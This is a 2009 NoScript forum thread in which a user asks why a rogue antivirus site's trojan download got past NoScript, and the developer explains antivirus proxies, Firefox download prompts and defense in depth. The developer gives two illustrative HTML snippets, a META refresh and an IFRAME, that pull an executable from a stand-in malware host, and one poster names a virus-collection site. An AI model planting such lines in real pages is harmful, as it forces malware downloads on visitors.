NoScript Didn't Block Rogue Site
NoScript Didn't Block Rogue Site
I was recently searching something on Google and clicked on a link that took me to a site that redirected me to a malicious rogue site (h**p://best-antiviruses[dot]com). It tried to install the trojan TrojanDownloader.Agent.OV on my computer. Before I knew it, NOD32 was alerting me that it blocked the download. ??? NoScript was setup to disallow all scripts on this page and the page that redirected me. How could a download go undetected like that and why didn't NoScript block it. My NoScript settings are as secure as possible (to my knowledge). I have always felt safe using NoScript until now - is there a possible exploit?
Thanks,
jB
Thanks,
jB
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 - me again! (.NET CLR 3.5.30729)
- Giorgio Maone
- Site Admin
- Posts: 9524
- Joined: Wed Mar 18, 2009 11:22 pm
- Location: Palermo - Italy
- Contact:
Re: NoScript Didn't Block Rogue Site
Latest versions of most antivirus programs contain a component (called with fantasy names like "web shield" or "cloud protection" or the like) which is simply a HTTP proxy standing between your browser and the Internet.
As the data transit through this proxy, it gets scanned by the antivirus engine which checks in the signature database for known exploits: if a match is found, you get alerted.
This means that all that time nothing malicious arrived in your browser for NoScript to block.
This also means that Nod32 is capable of blocking known malware before it gets into the browser, but unknown attacks which don't match any signature can arrive in your browser.
To prevent them from executing, NoScript's script and plugin blocking helps a lot.
In other words, you'd better keep both: it's called "defense in depth".
As the data transit through this proxy, it gets scanned by the antivirus engine which checks in the signature database for known exploits: if a match is found, you get alerted.
This means that all that time nothing malicious arrived in your browser for NoScript to block.
This also means that Nod32 is capable of blocking known malware before it gets into the browser, but unknown attacks which don't match any signature can arrive in your browser.
To prevent them from executing, NoScript's script and plugin blocking helps a lot.
In other words, you'd better keep both: it's called "defense in depth".
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
- GµårÐïåñ
- Lieutenant Colonel
- Posts: 3369
- Joined: Fri Mar 20, 2009 5:19 am
- Location: PST - USA
- Contact:
Re: NoScript Didn't Block Rogue Site
Thanks for the explanation, I thought this was simply understood. Maybe Tom can add this to his beginner's guide since it seems to evade the common sense.
~.:[ Lï£ê ï§ å Lêmðñ åñÐ Ì Wåñ† M¥ Mðñê¥ ßå¢k ]:.~
________________ .: [ Major Mike's ] :. ________________
________________ .: [ Major Mike's ] :. ________________
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
Re: NoScript Didn't Block Rogue Site
@ Giorgio: Do you wish for me to add a few lines to the Quick Start guide to the effect that NS is does *not replace* your AV, but is an additional layer of security? I don't want to see the Guide get too long or too complex, but perhaps GµårÐïåñ has a point that we should warn novices not to run without AV simply because they've installed NS. Let me know.GµårÐïåñ wrote:Thanks for the explanation, I thought this was simply understood. Maybe Tom can add this to his beginner's guide since it seems to evade the common sense.
@ jB (OP) Imagine that your house has a burglar alarm installed, and you have two large Rottweiler dogs inside. A burglar starts to break in, but the burglar alarm goes off and he runs away. The dogs have nothing to do. But if the burglar somehow cuts the alarm wires or otherwise circumvents the alarm and enters, the dogs will have a lot of funGiorgio Maone wrote:This also means that Nod32 is capable of blocking known malware before it gets into the browser, but unknown attacks which don't match any signature can arrive in your browser.
To prevent them from executing, NoScript's script and plugin blocking helps a lot.
In other words, you'd better keep both: it's called "defense in depth".

Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US at an expert level; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 diehard
Re: NoScript Didn't Block Rogue Site
I am not as concerned about NOD32 doing its job as I am NoScript doing its job. A download was initiated through my browser without my consent or my knowledge. I would have never known about it if NOD32 hadn't alerted me - which gives me confidence in NOD32. My concern is with NoScript blocking such a script-initiated download. It did nothing to block it and that is why I am writing this.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 - me again! (.NET CLR 3.5.30729)
- Giorgio Maone
- Site Admin
- Posts: 9524
- Joined: Wed Mar 18, 2009 11:22 pm
- Location: Palermo - Italy
- Contact:
Re: NoScript Didn't Block Rogue Site
What does make you think the download was script-initiated?jB wrote:My concern is with NoScript blocking such a script-initiated download
Code: Select all
<META http-equiv="refresh" content="0;URL=http://malware.com/some.exe" />
Code: Select all
<IFRAME src="http://malware.com/some.exe"></IFRAME>
Anyway, starting a download is harmless in Firefox, because you need to confirm it first, then you need to explicitly launch the file after the download is complete.
The kind of threats NoScript defeats are more subtle, like executing arbitrary code injected in memory by exploiting JavaScript or plugin vulnerabilities, with no "download" involved.
NoScript was performing its duties (which do not include analyzing or blocking your downloads) just fine.
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Re: NoScript Didn't Block Rogue Site
The point I am trying to make is...
I did absolutely nothing to download a file (no download dialog) - I was just just searching google and clicked on a link. The next thing I know, a file is being downloaded without my consent. I can't believe that you think "NoScript was performing its duties". Are you telling me that it is normal behavior for NoScript to allow such an event without explicit consent?
Also, I am blocking Meta redirects and IFrames as well. I also have ClearClick protection enabled.
I did absolutely nothing to download a file (no download dialog) - I was just just searching google and clicked on a link. The next thing I know, a file is being downloaded without my consent. I can't believe that you think "NoScript was performing its duties". Are you telling me that it is normal behavior for NoScript to allow such an event without explicit consent?
Also, I am blocking Meta redirects and IFrames as well. I also have ClearClick protection enabled.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 - me again! (.NET CLR 3.5.30729)
- Giorgio Maone
- Site Admin
- Posts: 9524
- Joined: Wed Mar 18, 2009 11:22 pm
- Location: Palermo - Italy
- Contact:
Re: NoScript Didn't Block Rogue Site
We're making a lot of assumptions here, because of loose terminology and the fact your incident is no more reproducible: safe browsing is blocking best-antiviruses.com now, and even if I click on "ignore this warning" (without any anti-virus, see how brave I am?) I get a Failed Connection error.
However I repeat NoScript is doing its duties, because:
However I repeat NoScript is doing its duties, because:
- A web site doesn't need META refreshes, frames or whatever to initiate a download. Just like you were redirected on best-antivirus.com, you can be redirected to the executable itself at the HTTP level with no intervention or consent from you. Period.
- That said, a download being initiated is not harmful at all. Let me repeat, IF IT WAS A DOWNLOAD nothing bad would happen even if you had no antivirus and no NoScript installed, because Firefox would have asked to confirm the download and you would have needed to click on the finished download itself, and confirm again, before executing it. The fact you did not see any prompt is easy to explain: since Firefox did not get to see any download (because it was blocked in transit before reaching the browser), it had nothing to prompt about. If NOD32 was not installed, you would have got the prompt.
- But, are you sure it was a download, after all? Do you know its file name and its URL? There are even chances it was not a downloadable file, since recent antivirus signatures include also HTML patterns like obfuscated scripts or iframes redirecting to well known (usually Chinese or Russian) malware hosts. In this case, you wouldn't have any warning from Firefox, but NoScript would preemptively inactivated the script-based payload (again, with no warning, since it's not signature-based).
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Re: NoScript Didn't Block Rogue Site
Thanks for your response and explanation. It does appear that I am no longer able to connect to the site to reproduce the problem. Aside from the download aspect, it still concerns me that an untrusted site was able to redirect me to this best-antiviruses[dot]com. The site that I clicked on I can no longer remember, but it was an .nu site (see what happens when you get careless) and it WAS untrusted. I will just have to remember to be more careful in the future. What are your suggested settings for NoScript Options under Plugins and Advanced for Untrusted sites?
As for the download, I am pretty certain it WAS a download because NOD32's Internet Monitor (IMON) is what terminated the connection and the "Obect" was specified as a file.
As for the download, I am pretty certain it WAS a download because NOD32's Internet Monitor (IMON) is what terminated the connection and the "Obect" was specified as a file.
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.5 - me again! (.NET CLR 3.5.30729)
- Giorgio Maone
- Site Admin
- Posts: 9524
- Joined: Wed Mar 18, 2009 11:22 pm
- Location: Palermo - Italy
- Contact:
Re: NoScript Didn't Block Rogue Site
Any site, trusted or not, can redirect you anywhere. That's how the HTTP protocol works, and it would be indeed bad if the landing site could execute scripts or plugins to exploit a browser vulnerability.Guest wrote:Aside from the download aspect, it still concerns me that an untrusted site was able to redirect me to this best-antiviruses[dot]com.
But if the landing site is not in your NoScript whitelist, it won't be able to execute anything, even though it can initiate a download (which, as I said, is an innocuous action).
For myself I use the default settings plus Frames/IFrames blocking, and add "Apply these restrictions to trusted sites as well" in order to make attacker's life very hard even in the event a site in my whitelist (which I keep very short by using "Temporary allow") gets compromised.Guest wrote:What are your suggested settings for NoScript Options under Plugins and Advanced for Untrusted sites?
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Re: NoScript Didn't Block Rogue Site
I would just like to add my *personal* settings to Giorgio's explanation and opinion: I block "everything" by default, even at trusted sites, by just checking every single box on Plugins.
In Advanced/Untrusted, all checked except "hide noscript elements", just as in "trusted", all are *Unchecked" except "show noscript element". In both cases, I see no harm in these being visible, and the info might be useful.
XSS and JAR whitelists *empty*. I haven't had a problem with false positives, but some have, and so need to add exceptions. Usually, if they're reported here, Giorgio provides a fix, workaround, script surrogate or regular expression, etc. HTTPS behavior and cookies include all of my secure sites (financial, mostly.)
As Giorgio said, I keep my whitelist very short, and use "temp allow" where needed. An extra click or two is, to me, a small price to pay for additional security, although each to their own opinion.
Also want to add that one of the HUGE safety factors of Firefox vs. Internet Explorer is that Fx will NOT directly install code from the web, except for Fx add-ons from sites that are in your specifically-allowed sites in the whitelist, Fx > Tools > Options > Seccurity > "Warn me if sites try to intall addons > Exceptions". IIRC, by default the only entry is AMO itself. All other "installations" will prompt you to "download", but NEVER to install directly, unlike IE. So you must first approve the download, then the code is on your desktop or wherever. You can scan it with your AV again if you like, Google it, or do whatever else you like before installing it. This is why Giorgio is saying that you were never in any danger; your AV did its job in preventing the download, so that NoScript never even saw it, and it never had a chance to install. Had your AV missed it, Fx should still have warned you before allowing you to "save" it (not "install" it). And IF it were delivered by scripting, Java, etc., NS would come into play then.
I think a major part of the confusion is understanding that "downloading" and "installing" sw are two different things -- at least to Fx. If you have IE, you're in trouble. Also, Fx does not natively support Microsoft's ActiveX technology, which has been the source of many (but of course, not all) exploits and malwares. There is no reason to add that support to Fx, as the only site I've ever found where I can't live without ActiveX is ... Microsoft Update itself. And there's even a workaround for that, although it's a little more effort and not really necessary.
Hope this makes you feel better about your safety and the strength of the Fx-AV-NS triple wall of defense. Cheers!
In Advanced/Untrusted, all checked except "hide noscript elements", just as in "trusted", all are *Unchecked" except "show noscript element". In both cases, I see no harm in these being visible, and the info might be useful.
XSS and JAR whitelists *empty*. I haven't had a problem with false positives, but some have, and so need to add exceptions. Usually, if they're reported here, Giorgio provides a fix, workaround, script surrogate or regular expression, etc. HTTPS behavior and cookies include all of my secure sites (financial, mostly.)
As Giorgio said, I keep my whitelist very short, and use "temp allow" where needed. An extra click or two is, to me, a small price to pay for additional security, although each to their own opinion.
Also want to add that one of the HUGE safety factors of Firefox vs. Internet Explorer is that Fx will NOT directly install code from the web, except for Fx add-ons from sites that are in your specifically-allowed sites in the whitelist, Fx > Tools > Options > Seccurity > "Warn me if sites try to intall addons > Exceptions". IIRC, by default the only entry is AMO itself. All other "installations" will prompt you to "download", but NEVER to install directly, unlike IE. So you must first approve the download, then the code is on your desktop or wherever. You can scan it with your AV again if you like, Google it, or do whatever else you like before installing it. This is why Giorgio is saying that you were never in any danger; your AV did its job in preventing the download, so that NoScript never even saw it, and it never had a chance to install. Had your AV missed it, Fx should still have warned you before allowing you to "save" it (not "install" it). And IF it were delivered by scripting, Java, etc., NS would come into play then.
I think a major part of the confusion is understanding that "downloading" and "installing" sw are two different things -- at least to Fx. If you have IE, you're in trouble. Also, Fx does not natively support Microsoft's ActiveX technology, which has been the source of many (but of course, not all) exploits and malwares. There is no reason to add that support to Fx, as the only site I've ever found where I can't live without ActiveX is ... Microsoft Update itself. And there's even a workaround for that, although it's a little more effort and not really necessary.
Hope this makes you feel better about your safety and the strength of the Fx-AV-NS triple wall of defense. Cheers!
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US at an expert level; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 diehard
Re: NoScript Didn't Block Rogue Site
Well it has got to do with how FF works! When FF senses something to be download it initiates it at full speed and PARALLELY throws the user confirmation to download. In effect it means FF does not wait for confirmation to BEGIN download , and it starts at full throttle to the temp directory and when a user confirms a name and folder ,it just creates the file name and transfers the content (from the temp file) to the named file. That is to say ,you come across a 20 mb file to be downloaded and at FF confirmation you CANCEL it ,albeit a little late ,you might have already downloaded 10 mb JUNK.
I tested this at http://vx.netlux.org/ ----COLLECTION. I would click a file and also CANCEL download. But AVIRA innocently generates an event of having blocked a virus at the temp folder!
Is it a welcome behaviour of FF?
I tested this at http://vx.netlux.org/ ----COLLECTION. I would click a file and also CANCEL download. But AVIRA innocently generates an event of having blocked a virus at the temp folder!
Is it a welcome behaviour of FF?

Dreams are REAL possibilities. Pursue them with zest and you can make them HAPPEN!
You are GOD.Realize THAT!
You are GOD.Realize THAT!
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10
- Giorgio Maone
- Site Admin
- Posts: 9524
- Joined: Wed Mar 18, 2009 11:22 pm
- Location: Palermo - Italy
- Contact:
Re: NoScript Didn't Block Rogue Site
That's likely a different issue: Avast (and NOD32, in OP's story) intercept the downstream before it reaches Firefox, i.e. before the behavior you're describing.nagan wrote:Well it has got to do with how FF works! When FF senses something to be download it initiates it at full speed and PARALLELY throws the user confirmation to download.
In your case, Avira scanned the cache "ex-post", but still no danger since the file name is random and not executable.
Yes if you've got a flat unlimited plan, probably not if you pay for each byte you consume.nagan wrote:Is it a welcome behaviour of FF?
Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Re: NoScript Didn't Block Rogue Site
Can we change firefox download behaviour?
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10
Re: NoScript Didn't Block Rogue Site
Is the difference between download and install or run understood well?
The requested change would slow your desired downloads. Since *no risk* is introduced, are you sure you would want to change this?
The requested change would slow your desired downloads. Since *no risk* is introduced, are you sure you would want to change this?
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US at an expert level; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 diehard